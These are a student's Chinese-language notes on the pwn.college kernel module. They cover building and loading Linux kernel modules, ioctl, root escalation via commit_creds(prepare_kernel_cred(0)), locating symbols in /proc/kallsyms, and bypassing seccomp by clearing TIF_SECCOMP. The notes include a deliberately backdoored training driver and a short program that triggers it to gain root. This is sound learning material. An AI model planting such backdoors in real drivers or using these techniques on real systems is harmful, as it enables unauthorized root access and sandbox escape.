kernel-1-basic_knowledge

kernel基础环境+驱动编译+基础提权、沙箱绕过

参考链接https://pwn.college/modules/kernel

kernel-1

参考链接https://pwn.college/modules/kernel

环境配置

这里可以说是遇到大坑了

尝试过的网站:

  1. https://www.anquanke.com/post/id/85837 (失败)

原因: kernel版本太老,编译器不支持

  1. https://github.com/yuawn/Linux-Kernel-Exploitation (可以成功,但是最后删掉了)

但是由于网上的利用方法都基于create_proc_entry,这个网址的内核版本又比较高,不支持这个函数。就没有教程可以学,于是删掉了

  1. 直接从pwn.college里面下载 https://pwn.college/modules/kernel (推荐)

这个方法最简单,还有视频教程。本篇笔记就基于此。

编译、运行驱动

安装和删除

可以在/src中编写自己驱动的.c版本,之后./build.sh再launch.sh就可以再kernel中看见刚才编写的模块了。

1
insmod a.ko # 可以用来安装并运行一个编译好的内核模块
1
2
lsmod # 显示安装的模块
rmmod # 删除模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/ # [    2.634357] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
ls
bin hello_log.ko proc
dev hello_proc_char.ko root
etc home sbin
flag init sys
hello_dev_char.ko linuxrc usr
hello_ioctl.ko make_root.ko
/ # insmod hello_log.ko
[ 31.187734] hello_log: loading out-of-tree module taints kernel.
[ 31.193743] Hello pwn.college!
/ # lsmod
hello_log 16384 0 - Live 0xffffffffc0000000 (O)
/ # rmmod hello_log.ko
[ 47.961254] Goodbye pwn.college!
/ #

设备号

和在os中学过的知识一样,每一个设备都有一个设备号。这里安装了一个设备,能够打印出自己的设备号。首先看看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 注册设备对应读写函数
static struct file_operations fops = {
.read = device_read,
.write = device_write,
.open = device_open,
.release = device_release
};

// 设备初始化时打印一些参数
int init_module(void)
{
major_number = register_chrdev(0, "pwn-college-char", &fops); // <====这里的返回值就是设备号

if (major_number < 0) {
printk(KERN_ALERT "Registering char device failed with %d\n", major_number);
return major_number;
}

printk(KERN_INFO "I was assigned major number %d.\n", major_number);
printk(KERN_INFO "Create device with: 'mknod /dev/pwn-college-char c %d 0'.\n", major_number);
return 0;
}

输出:

1
2
3
/ # insmod hello_dev_char.ko 
[ 310.758676] I was assigned major number 248.
[ 310.759132] Create device with: 'mknod /dev/pwn-college-char c 248 0'.

ioctl

本质是和设备交互的函数。可以往设备里面写控制编号等等。也是一个比较危险的,经常被恶意利用的函数。

提权

本质上要做的,是在process controlblock里面把uid设置成0,也就获得了os权限。

常用函数

cred:记录了进程的一些属性,包含特权级等

1
2
3
commit_creds(struct cred *); // 替换原有的cred

struct cred * prepare_kernel_cred(struct task_struct *reference_task_struct); // 如果传递参数为NULL,将得到一个root的cred

我们的目的是

1
2
commit_creds(prepare_kernel_cred(0));
// 就像用户态的system(/bin/sh)一样

举例

在/src/make_root.c中,有个重要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static long device_ioctl(struct file *filp, unsigned int ioctl_num, unsigned long ioctl_param)
{
printk(KERN_ALERT "Got ioctl argument %d!", ioctl_num);
if (ioctl_num == PWN)
{
if (ioctl_param == 0x13371337)
{
printk(KERN_ALERT "Granting root access!");
commit_creds(prepare_kernel_cred(NULL)); // <======= function to get root privilige
}
if (ioctl_param == 0x31337)
{
printk(KERN_ALERT "Escaping seccomp!");
printk(KERN_ALERT "FLAGS BEFORE: %lx", current->thread_info.flags);
current->thread_info.flags &= ~_TIF_SECCOMP;
printk(KERN_ALERT "FLAGS AFTER: %lx", current->thread_info.flags);
}
}
return 0;
}

这相当于,我们只要控制了变量ioctl_param就能成功提权。

在pwn-college中,只需要su - ctf就可以切换到原本虚拟的的文件系统中。使用静态编译我们写的如下代码

1
2
3
4
5
6
7
int main()
{
int fd = open("/proc/pwn-college-root",0);
printf("before uid: %d\n", getuid());
ioctl(fd,0x7001,0x13371337);
printf("after uid: %d\n", getuid());
}
1
gcc -o attack -static make_root_solve.c

之后运行,就可以拿到一个root权限

1
2
3
4
5
6
7
8
9
~/Desktop/kernel/pwnkernel/src $ ./attack 
[ 1780.024894] Device opened.
[ 1780.029412] Got ioctl argument 28673!
before uid: 1000
after uid: 0 # <====== grant superuser!
[ 1780.029791] Granting root access!
[ 1780.032075] Device closed.
[ 1780.035175] attack (89) used greatest stack depth: 14080 bytes left
~/Desktop/kernel/pwnkernel/src $

如何寻找commit_creds

  1. 直接寻找符号
1
$ cat/proc/kallsyms   # 可以打印出内核所有符号地址,包括函数
1
2
# cat /proc/kallsyms | grep 'commit_creds'
ffffffff810842b0 T commit_creds
  1. 在关闭ASLR或者古老版本的内核中,上述函数地址是可以预测的
  2. 调试
  3. 泄露,和用户态一样

sandbox

sandbox和seccomp密切相关。我们首先看看他在那里实现。事实上还是在之前的process control block里面。flags中有一个比特指示是否开启了seccomp

源码

1
2
3
4
5
6
7
8
9
10
11
struct task_struct {
// LOTS of stuff, including
const struct cred __rcu *cred;
struct thread_info thread_info;
}
struct thread_info {
unsigned long flags; /* low level flags */
u32 status; /* thread synchronous flags */
};
// flags is a bit field that, among many other things, holds a bit named TIF_SECCOMP

但是实现seccomp的主函数在secure computing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Reference:
https://elixir.bootlin.com/linux/latest/source/include/linux/seccomp.h#L43
static inline int secure_computing(void)
{
if (unlikely(test_thread_flag(TIF_SECCOMP))) <==== 检查flag位
return __secure_computing(NULL);
return 0;
}
int __secure_computing(const struct seccomp_data *sd)// 主要的实现函数
{
// lots of stuff, then...

this_syscall = sd ? sd->nr : syscall_get_nr(current, task_pt_regs(current));

switch (mode) {
case SECCOMP_MODE_STRICT:
__secure_computing_strict(this_syscall); /* may call do_exit */
return 0;
case SECCOMP_MODE_FILTER:
return __seccomp_filter(this_syscall, sd, false);
default:
BUG();
}
}

绕过

可想而知,绕过的方法还是集中在PCB中,我们只需要把flag位与上相反的比特即可。

1
current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)

举例

依然使用之前的make_root.c,其中也包含了seccomp。和之前提权一样,只需要发送响应ioctf代码即可(如果开启了seccomp)

总结

以上内容包含编译内核、编写驱动、运行驱动;提权和沙箱绕过两个基本操作。未涉及漏洞利用。以上大约为基础知识介绍。

文章目录
  1. 1. kernel-1
    1. 1.1. 环境配置
    2. 1.2. 编译、运行驱动
      1. 1.2.1. 安装和删除
      2. 1.2.2. 设备号
      3. 1.2.3. ioctl
    3. 1.3. 提权
      1. 1.3.1. 常用函数
      2. 1.3.2. 举例
    4. 1.4. 如何寻找commit_creds
    5. 1.5. sandbox
      1. 1.5.1. 源码
      2. 1.5.2. 绕过
      3. 1.5.3. 举例
    6. 1.6. 总结
|